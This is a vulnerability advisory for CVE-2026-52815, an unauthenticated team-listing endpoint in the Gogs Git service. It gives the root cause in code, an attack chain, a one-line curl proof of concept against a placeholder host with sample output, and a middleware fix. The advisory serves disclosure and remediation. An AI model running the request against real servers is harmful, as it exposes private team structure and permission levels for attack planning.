CVE-2026-52815

Gogs: Unauthenticated Organization Teams Information Disclosure via API

5.5 MediumFix available

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Gogs has an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint at internal/route/api/v1/org_team.go:8 returns all teams for any organization without requiring authentication. The route group at internal/route/api/v1/api.go:380-385 lacks the reqToken() middleware, and the listTeams() handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller. This vulnerability is fixed in 0.14.3.

Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API

Summary

Gogs has an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint at internal/route/api/v1/org_team.go:8 returns all teams for any organization without requiring authentication. The route group at internal/route/api/v1/api.go:380-385 lacks the reqToken() middleware, and the listTeams() handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.

Affected Versions

Gogs (all current versions)

Vulnerability Details

Root Cause: Missing reqToken() middleware on org teams route group

internal/route/api/v1/api.go lines 380-385:

// Org teams route group — no reqToken() middleware
m.Group("/:orgname", func() {
    m.Get("/teams", org.ListTeams) // No auth required
}, orgAssignment(true))

The orgAssignment(true) middleware only loads the organization object — it performs no authentication. The listTeams() handler at org_team.go:8 returns all teams unconditionally:

func ListTeams(c *context.APIContext) {
    org := c.Org.Organization
    teams, err := database.GetTeamsByOrgID(org.ID)
    // Returns all teams — no c.IsLogged check, no permission check
}

Compare with other org endpoints that correctly require authentication:

m.Group("/orgs/:orgname", func() {
    // ... other endpoints ...
}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth

Attack Chain

Attacker sends GET /api/v1/orgs/target-org/teams with no authentication
orgAssignment(true) loads the organization but does not check auth
ListTeams() queries all teams and returns them
Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)

Proof of Concept

# List all teams in an organization — no authentication needed
curl -s "http://TARGET:3000/api/v1/orgs/myorg/teams" | python3 -m json.tool

# Expected: 200 OK with full team list
# [
#   {
#     "id": 1,
#     "name": "Owners",
#     "description": "Admin team",
#     "permission": "owner"
#   },
#   {
#     "id": 2,
#     "name": "backend-devs",
#     "description": "Backend development team",
#     "permission": "write"
#   }
# ]

Impact

An unauthenticated attacker can:

Enumerate all teams within any organization, including private/internal teams
Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning
Map organizational structure and identify high-value targets (admin/owner teams)
Harvest team IDs for use in other API calls that may have weaker authorization checks

Suggested Remediation

m.Group("/:orgname", func() {
    m.Get("/teams", org.ListTeams)
}, reqToken(), orgAssignment(true))

Add reqToken() middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, ListTeams() should verify the authenticated user is a member of the organization.
